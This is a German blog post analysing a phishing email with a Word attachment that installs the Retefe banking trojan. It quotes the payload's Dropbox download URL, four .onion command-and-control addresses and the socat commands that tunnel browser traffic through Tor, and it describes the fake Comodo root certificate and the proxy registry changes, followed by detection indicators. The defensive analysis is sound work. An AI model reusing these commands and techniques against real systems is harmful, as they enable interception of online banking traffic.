Wie wohl die meisten E-Mail Benutzer erhalte ich regelmässig seltsame Mails mit interessanten Anhängen. Heute hatte ich Lust, eine solche E-Mail genauer anzuschauen.
Bankentrojaner im Posteingang
Im Prinzip sollte diese E-Mail sehr schnell als dubios identifiziert werden können.
Die E-Mail gibt im Text vor, von Shell zu stammen. Man sieht aber bereits, dass der Absender nicht Shell ist. Wie der Absender zustande kam, ist nicht Gegenstand dieses Beitrages. Es kann sich um eine Fälschung handeln oder das E-Mailkonto des Absenders wurde gehackt. Im Weiteren ist mir nicht bekannt, dass man bei Shell auf Rechnung per E-Mail tanken könnte. Ausserdem sind alle Anhänge mit Dateiendungen ausser .pdf sowieso suspekt. Vorsicht an dieser Stelle: Auch pdf-Dokumente können Schadcode enthalten!
Die Frequenz, mit der ähnliche E-Mails im Postfach eintreffen, legt aber den Schluss nahe, dass noch immer genügend Personen solche Dokumente öffnen.
Dann wollen wir mal herausfinden, was diesen Personen passieren wird.
Zuerst habe ich die Datei Bestellung.docx aus dem Anhang bei virustotal.com hochgeladen. Gerade mal 2 Virenscanner haben die Datei als bösartig erkannt.
Reverse Engineering
Im nächsten Schritt habe ich das Office Open XML Dokument entpackt und mit oledump.py den binären Teil extrahiert.
Man kann sehen, dass eine Datei von Dropbox (https://www.dropbox.com/s/ywr5mgrgqjdvlf7/Bezahlung.exe?dl=1) heruntergeladen und ausgeführt wird.
Natürlich wollte ich diese Datei namens Bezahlung.exe auch haben, um sie sogleich an virustotal.com weiterzuleiten. Diesmal hatten immerhin 12 von 62 Virenscannern etwas zu beanstanden.
Was passiert, wenn Bezahlung.exe ausgeführt wird?
Zuerst habe ich die ASCII Zeichenketten aus der Datei Bezahlung.exe extrahiert. Das Meiste davon ist nicht lesbar. Man sieht aber den Kopf eines WinRAR SFX modules.
Man sieht im gleichen Dump auch, dass durch das WinRAR SFX eine Datei DYwpBcj9439550.js extrahiert und ausgeführt wird. Diese Datei wollte ich genauer anschauen.
Dazu habe ich die SFX Datei in eine normale ZIP Datei umgewandelt mit dem Befehl zip -J Bezahlung.exe.
Wie erwartet befand sich im resultierenden ZIP File die Datei DYwpBcj9439550.js und wie die Dateiendung suggeriert handelt es sich dabei um Javascript Code. Wir bemühen einmal mehr virustotal.com mit der Analyse. Erstaunlicherweise haben bei dieser Datei wiederum nur zwei Virenscanner Alarm geschlagen.
Was macht der bösartige Javascript-Code?
Wenig erstaunlich: Der Quellcode ist nicht eben gut lesbar respektive verschlüsselt.
Man kan diesen Quellcode nun Stück für Stück analysieren. Der Quellcode ist mehrfach verschlüsselt. Dank Onlinetools wie http://matthewfl.com/unPacker.html gelingt die Entschlüsselung jedoch relativ schnell.
Ins Auge sticht sofort, dass die Malware über das Tor-Netzwerk kommuniziert. Es sind vier .onion Adressen hinterlegt: «paoyu7gub72lykuk.onion», «5kybfrm53fkdgktz.onion», «s4c3jh2qqxyqfknh.onion», «s5jhnylq4yi7omen.onion». Die kryptischen Strings mit den Namen ps, psf und pstp sind Base64 encodierte Windows Powershell Scripts. Wenn man diese decodiert und im Internet nach ähnlichem Code sucht, dann findet man schnell Referenzen zum Retefe Bankentrojaner. Dieser Verdacht erhärtet sich bei der Betrachtung von weiteren Teilen des Quellcodes.
In der Installationsroutine wird zuerst in der Funktion TP.Install() eine portable Version des TOR-Browsers und SOCAT von legitimen Quellen heruntergeladen. Anschliessend werden zwei neue ScheduledTasks eingerichtet, die jeweils mshta.exe mit den Argumenten
socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050
socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050
aufrufen. Damit wird auf den lokalen IPv4 TCP Ports 5555 und 5588 ein Socks-Proxy eingerichtet, der den Datenverkehr auf die hinterlegten .onion Adressen, also ins TOR Netzwerk, weiterleitet.
Dann werden Internetexplorer, Firefox und Chrome geschlossen in der Funktion this.CAB().
Anschliessend werden die beiden Funktionen this.IIE() und this.IF() ausgeführt. Sie scheinen eine ähnliche Funktion zu haben für verschiedene Webbrowser-Modelle.
In this.IIE() wird mit Exp.IC() ein neues Root-Zertifikat installiert. Dies erlaubt es dem Angreifer, vermeintlich sichere TLS verschlüsselte Verbindungen anzubieten, ohne dass der Benutzer eine Sicherheitswarnung erhalten würde.
Das Zertifikat tarnt sich unter dem bekannten Namen Comodo. Dieses Tool https://www.sslshopper.com/certificate-decoder.html kann das X.509 encodierte Zertifikat lesen.
Wer dieses Zertifikat im System oder im Browser installiert hat, sollte es entfernen. Vorsicht: Comodo ist eine legitime Zertifikatsauthorität. Es sollte nur exakt dieses Zertifikat und nicht etwa alle Comodo Zertifikate entfernt werden! Dieser erste Schritt hilft natürlich nur, wenn Sie Zertifikatswarnungen im Browser nicht einfach ignorieren.
Im nächsten Installationsschritt werden mit Exp.InstallPac() zwei Änderungen an der Registry vorgenommen. Zuerst wird HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect auf false gesetzt. Dann wird unter HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL der lokale Socks4 Proxy auf TCP Port 5555 hinterlegt. Von nun an holt sich Internetexplorer seine Konfiguration beim Start jeweils über das TOR Netzwerk bei den Malwarelieferanten.
Die Angreifer können nun leicht beliebige Teile des Internetverkehrs über bösartige Server leiten und dank dem installierten Root-Zertifikat den ganzen Datenverkehr mitlesen und verändern. Dazu gehören auch vermeintlich sichere Verbindungen zu Onlinebanking Portalen. In diesem Fall schützt uns auch die 2-Faktor Authentisierung nicht.
Detektion des Bankentrojaners
Ein Hinweis auf eine Infektion ist das Comodo Zertifikat mit der Seriennummer 16935903287666719309 (0xeb086a4f53beba4d). Diese Seriennummer dürfte sich allerdings sehr schnell wieder ändern. Wer sicher gehen will, sollte alle Seriennummern bei Comodo direkt prüfen. Auch kann der Angreifer das Zertifikat leicht umbenennen. Alle Zertifikate zu validieren, dürfte ziemlich mühselige Handarbeit sein.
Ein weiterer Hinweis sind lokale Netzwerklistener auf den TCP Ports 5555 und 5588. Diese kann man finden mit dem Kommando:
netstat -a -n -o
Es können auf diesen Ports allerdings auch legitime Dienste wie SAP laufen. Eine genauere Abklärung ist in jedem Einzelfall notwendig.
Der wohl deutlichste Hinweis auf eine Infektion ist der Wert von
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
Wenn der Eintrag dort mit http://127.0.0.1:5555/ beginnt, dann ist eine Infektion ziemlich wahrscheinlich.
Fazit
Keine seltsamen E-Mails öffnen.
Ob es sich bei diesem Stück Malware um eine weitere Version des Retefe Bankentrojaners handelt, oder ob sich bloss andere Kriminelle Teile dessen Codes geborgt haben, ist für mich ziemlich belanglos.
Schutz vor solchen Angriffen bieten Virenscanner nur sehr bedingt. Umso wichtiger ist es, dass Benutzer im Bereich der IT Sicherheit sensibilisiert werden.
Dazu gibt es den für Privatpersonen kostenlose Service phisher-pro. Dieser versendet den Teilnehmern regelmässig harmlose Phishing-Mails zu Trainingszwecken. So lernen die Teilnehmer, worauf sie achten müssen, um Phishing von echten E-Mails zu unterscheiden. Registrieren kann man sich unter https://phisher-pro.com. Die Teilnahme ist für Privatpersonen kostenlos und der Service kann jederzeit annulliert werden.